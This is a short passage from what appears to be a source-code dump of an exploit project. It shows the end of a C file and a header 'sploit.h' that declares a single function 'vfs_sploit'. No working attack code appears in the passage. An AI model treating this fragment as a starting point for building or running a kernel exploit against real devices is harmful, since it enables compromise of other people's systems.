reboot\n"); 1059 | } 1060 | -------------------------------------------------------------------------------- /empty_list/sploit.h: -------------------------------------------------------------------------------- 1 | #ifndef sploit_h 2 | #define sploit_h 3 | 4 | void vfs_sploit(void); 5 | 6 | #endif 7 | --------------------------------------------------------------------------------